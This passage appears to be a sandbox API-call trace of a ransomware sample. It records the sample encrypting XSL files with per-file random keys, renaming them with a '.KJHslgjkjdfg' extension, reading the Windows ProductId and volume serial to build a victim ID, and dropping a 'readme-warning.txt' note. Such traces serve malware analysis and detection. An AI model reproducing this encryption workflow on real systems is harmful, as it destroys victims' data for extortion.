lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0191.313] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.313] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.314] GetProcessHeap () returned 0x2ef0000 [0191.314] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0191.314] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0191.314] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.314] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0191.314] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.314] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.314] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.314] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.314] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.314] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.314] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.314] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.315] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7d92, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7d92, lpOverlapped=0x0) returned 1 [0191.316] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7da0, dwBufLen=0x7da0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7da0) returned 1 [0191.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.316] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7da0, lpOverlapped=0x0) returned 1 [0191.316] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.316] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.316] SetEndOfFile (hFile=0x12c) returned 1 [0191.319] GetProcessHeap () returned 0x2ef0000 [0191.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0191.319] GetProcessHeap () returned 0x2ef0000 [0191.319] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.319] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.kjhslgjkjdfg")) returned 1 [0191.320] CloseHandle (hObject=0x12c) returned 1 [0191.321] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0191.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.321] GetProcessHeap () returned 0x2ef0000 [0191.321] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.321] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.321] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.321] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0191.323] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.323] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.323] GetProcessHeap () returned 0x2ef0000 [0191.323] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0191.324] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0191.324] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.324] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0191.324] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.324] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.324] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.324] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.324] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.324] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.324] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.324] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.324] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9a5b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x9a5b, lpOverlapped=0x0) returned 1 [0191.325] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9a60, dwBufLen=0x9a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x9a60) returned 1 [0191.326] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.326] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x9a60, lpOverlapped=0x0) returned 1 [0191.326] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.326] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x9b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.327] SetEndOfFile (hFile=0x12c) returned 1 [0191.329] GetProcessHeap () returned 0x2ef0000 [0191.329] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0191.329] GetProcessHeap () returned 0x2ef0000 [0191.329] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.kjhslgjkjdfg")) returned 1 [0191.335] CloseHandle (hObject=0x12c) returned 1 [0191.335] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0191.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.337] GetProcessHeap () returned 0x2ef0000 [0191.337] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.337] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.337] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.337] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0191.339] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.339] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.339] GetProcessHeap () returned 0x2ef0000 [0191.339] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0191.339] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0191.339] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.339] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0191.339] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.340] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.340] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.340] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.340] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.340] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.340] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.340] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x745e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x745e, lpOverlapped=0x0) returned 1 [0191.341] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7460, dwBufLen=0x7460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7460) returned 1 [0191.342] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.342] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7460, lpOverlapped=0x0) returned 1 [0191.342] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.342] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.342] SetEndOfFile (hFile=0x12c) returned 1 [0191.345] GetProcessHeap () returned 0x2ef0000 [0191.345] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0191.345] GetProcessHeap () returned 0x2ef0000 [0191.345] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.kjhslgjkjdfg")) returned 1 [0191.348] CloseHandle (hObject=0x12c) returned 1 [0191.349] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0191.349] GetProcessHeap () returned 0x2ef0000 [0191.349] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.349] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0191.349] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0191.349] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.349] GetProcessHeap () returned 0x2ef0000 [0191.349] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0191.349] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0191.349] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0191.349] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.349] GetProcessHeap () returned 0x2ef0000 [0191.349] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f16998 [0191.349] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0191.349] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f16998, pdwDataLen=0x4dfee20 | out: pbData=0x2f16998, pdwDataLen=0x4dfee20) returned 1 [0191.349] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.349] GetProcessHeap () returned 0x2ef0000 [0191.349] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0191.349] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0191.349] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0191.349] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.350] GetProcessHeap () returned 0x2ef0000 [0191.350] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0191.350] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0191.350] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfea00 | out: pbData=0x2f11700, pdwDataLen=0x4dfea00) returned 1 [0191.350] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.350] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0191.350] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0191.350] RegCloseKey (hKey=0x12c) returned 0x0 [0191.350] GetProcessHeap () returned 0x2ef0000 [0191.350] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0191.350] GetProcessHeap () returned 0x2ef0000 [0191.350] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0191.350] GetProcessHeap () returned 0x2ef0000 [0191.350] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0191.350] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0191.350] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11700, pdwDataLen=0x4dfe7d4) returned 1 [0191.350] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.350] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0191.351] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0191.351] GetProcessHeap () returned 0x2ef0000 [0191.351] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0191.351] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0191.351] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0191.351] GetProcessHeap () returned 0x2ef0000 [0191.351] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f16d60 [0191.351] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\readme-warning.txt") returned 86 [0191.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\readme-warning.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.352] WriteFile (in: hFile=0x12c, lpBuffer=0x2f16d60*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f16d60*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0191.353] CloseHandle (hObject=0x12c) returned 1 [0191.353] GetProcessHeap () returned 0x2ef0000 [0191.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16998 | out: hHeap=0x2ef0000) returned 1 [0191.353] GetProcessHeap () returned 0x2ef0000 [0191.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16d60 | out: hHeap=0x2ef0000) returned 1 [0191.353] GetProcessHeap () returned 0x2ef0000 [0191.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0191.353] GetProcessHeap () returned 0x2ef0000 [0191.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.353] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.354] GetProcessHeap () returned 0x2ef0000 [0191.354] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.354] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, 